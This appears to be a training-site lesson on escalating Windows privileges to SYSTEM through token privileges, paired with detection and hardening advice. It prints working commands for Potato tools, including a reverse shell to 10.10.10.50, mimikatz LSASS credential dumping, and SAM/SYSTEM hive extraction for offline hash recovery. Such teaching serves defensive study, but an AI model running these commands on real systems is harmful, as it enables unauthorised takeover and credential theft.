Skip to content
Pwnversity
WIN-TOKENadvanced · 8 min · upd. 2026-11

Privilege and Token Abuse

T1134.001T1134.002T1134T1003.001

On Windows, what a process can do isn’t decided solely by “being admin”: it’s decided by its access token, which carries the user’s SID, their groups and a list of privileges (SeXxxPrivilege). Several of those privileges, even if they don’t make you an administrator on paper, let you reach SYSTEM directly. Enumerating whoami /priv and knowing what each privilege does is often the whole escalation. The broken invariant: certain privileges are equivalent to SYSTEM even though Windows grants them to “normal” service accounts (IIS, MSSQL, tasks).

flowchart LR
    T["whoami /priv"] -->|SeImpersonate| P["Potato: impersonate SYSTEM token"]
    T -->|SeDebug| L["dump LSASS"]
    T -->|SeBackup| S["read SAM / NTDS.dit"]
    T -->|SeLoadDriver| B["BYOVD: kernel execution"]
    P --> SYS["SYSTEM"]
  • Who attacks: someone who inherits the token of a service account (IIS, MSSQL, a task) with one or more dangerous privileges enabled.
  • What it breaks: the idea that those privileges are harmless in the hands of a service account. Several are, in practice, full host control. Nothing needs breaking: the privilege is already granted.
  • What it gains: direct local SYSTEM (impersonation), dumping all the host’s credentials (debug/backup), or kernel execution (load driver).
  • On a DC: SeBackupPrivilege over NTDS.dit = all the domain’s hashes.

Each process carries a token with the SID, the groups and a list of privileges, each enabled or disabled. whoami /priv lists them. The token also carries an integrity level (Low/Medium/High/System): going from Medium to High is UAC bypass; from High to System is, typically, impersonation or services.

A primary token defines a process’s context; an impersonation token lets a thread temporarily act as another identity. SeImpersonatePrivilege lets you take the impersonation token of a connecting client; the Potato family turns that into a SYSTEM primary token.

SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege — the Potato family

Section titled “SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege — the Potato family”

The most common privilege on service accounts. The Potato techniques force a SYSTEM service (spooler, RPC, DCOM, EFS) to authenticate to the attacker, who steals and impersonates its token. The family has evolved to keep working on modern Windows:

Tool Mechanism Supported OS
GodPotato DCOM/RPCSS Win8–11, Server 2012–2022 (x64)
PrintSpoofer spooler named pipe Server 2016–2019+, if the spooler is on
SigmaPotato Event Log service (in-memory, .NET) modern Win10/11
EfsPotato / SharpEfsPotato EFSRPC pipes Win10+, Server 2016+
DCOMPotato service DCOM objects modern
RoguePotato remote OXID resolver Win10 1809+/Server 2019+
DeadPotato Potato + built-in post-ex modern
PrintSpoofer.exe -i -c "cmd.exe" # SeImpersonate -> SYSTEM
GodPotato.exe -cmd "cmd /c whoami"
SigmaPotato.exe --revshell 10.10.10.50 443 # in-memory variant

Open any process, including LSASS → dump credentials (procdump, mimikatz sekurlsa) or inject into SYSTEM processes:

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

SeBackup ignores ACLs on read → copy the SAM, SYSTEM, SECURITY or NTDS.dit hives even if protected. SeRestore ignores ACLs on write → overwrite protected binaries or service keys:

reg save HKLM\SAM sam.hive # with SeBackup
reg save HKLM\SYSTEM system.hive
# then, offline: secretsdump.py -sam sam.hive -system system.hive LOCAL

Take ownership of any object (file, key, service) to rewrite its DACL and modify it → control of a privileged binary/service.

Load drivers → Bring Your Own Vulnerable Driver: load a signed but vulnerable driver and exploit it to execute in the kernel (RTCore64, Capcom, Dell dbutil). Increasingly stopped by Microsoft’s driver blocklist (see Blue Team).

Forge arbitrary tokens (act as part of the OS). Maximum impact, less common.

  1. whoami /priv: lists all enabled and disabled privileges.
  2. SeImpersonate/SeAssignPrimaryToken? → Potato (pick the variant by OS and active services).
  3. Stripped token (Local/Network Service)? → FullPowers first.
  4. SeDebug? → dump LSASS. SeBackup? → SAM/NTDS.dit. SeLoadDriver? → BYOVD.
  5. Tokens of other logged-in users impersonable? → incognito.
  • PrintSpoofer / GodPotato / SigmaPotato / EfsPotato / RoguePotato: SeImpersonate exploitation.
  • FullPowers: recover privileges of stripped service accounts.
  • mimikatz (token::elevate, privilege::debug, sekurlsa): token manipulation and dumping.
  • incognito (Metasploit list_tokens/impersonate_token): steal tokens of logged-in users.
  • secretsdump (Impacket): process SAM/SYSTEM hives offline.

Direct local SYSTEM (impersonation), dumping all the host’s credentials (debug/backup), kernel execution (load driver). On a DC, SeBackup over NTDS.dit yields all the domain’s hashes (credential dumping).

  • Service accounts with SYSTEM shells after named-pipe activity (Potato).
  • LSASS access (Sysmon event 10 with suspicious GrantedAccess) → SeDebug/dump.
  • reg save of SAM/SYSTEM/SECURITY; driver loads that are unusual (Sysmon event 6, service 7045 of kernel type).
  • Use of SeBackupPrivilege to open protected files.
  • Auditing of special privilege assignment (event 4672 at logon, 4673/4674 sensitive privilege use).
  • Sysmon 1/6/10, service/driver creation.
  • Least privilege on service accounts: remove SeImpersonate/SeDebug/SeBackup if not essential; use gMSA with scoped rights.
  • LSA protection (RunAsPPL) and Credential Guard against dumping via SeDebug. On new Windows 11 22H2+ installs LSA protection is on by default (RunAsPPL=2 without UEFI lock); with UEFI lock it’s RunAsPPL=1.
  • Microsoft vulnerable driver blocklist (default since Windows 11 2022, enforced with HVCI/Smart App Control) and App Control for Business to stop BYOVD.
  • Restrict who has SeBackup/SeRestore (real backup operators, not application accounts).

If a privilege led to SYSTEM or credentials, treat the host as compromised: rotate secrets, review what was dumped and remove the surplus privilege from the affected account.

  • The Potato family (SeImpersonate) is a standard TTP against IIS/MSSQL (MITRE T1134.001/.002).
  • BYOVD: ransomware and APT campaigns load vulnerable drivers (RTCore64, Capcom, Dell dbutil CVE-2021-21551) to disable the EDR; CVE-2025-59033 showed the blocklist isn’t enough without HVCI.
  • SeBackupPrivilege → NTDS.dit is a common post-exploitation technique on DCs (MITRE T1003.003).
  • mimikatz sekurlsa via SeDebug: one of the most documented TTPs in real breaches.
  • whoami /priv — list all enabled/disabled privileges.
  • SeImpersonate/SeAssignPrimaryToken → Potato (variant by OS); FullPowers if stripped.
  • SeDebug → LSASS dump (mimikatz/procdump).
  • SeBackup → reg save of SAM/SYSTEM or reading NTDS.dit.
  • SeRestore/SeTakeOwnership → rewrite a protected binary/service.
  • SeLoadDriver → BYOVD (signed vulnerable driver).
  • Tokens of other logged-in users impersonable (incognito).
  • Is LSASS protected (RunAsPPL/Credential Guard)?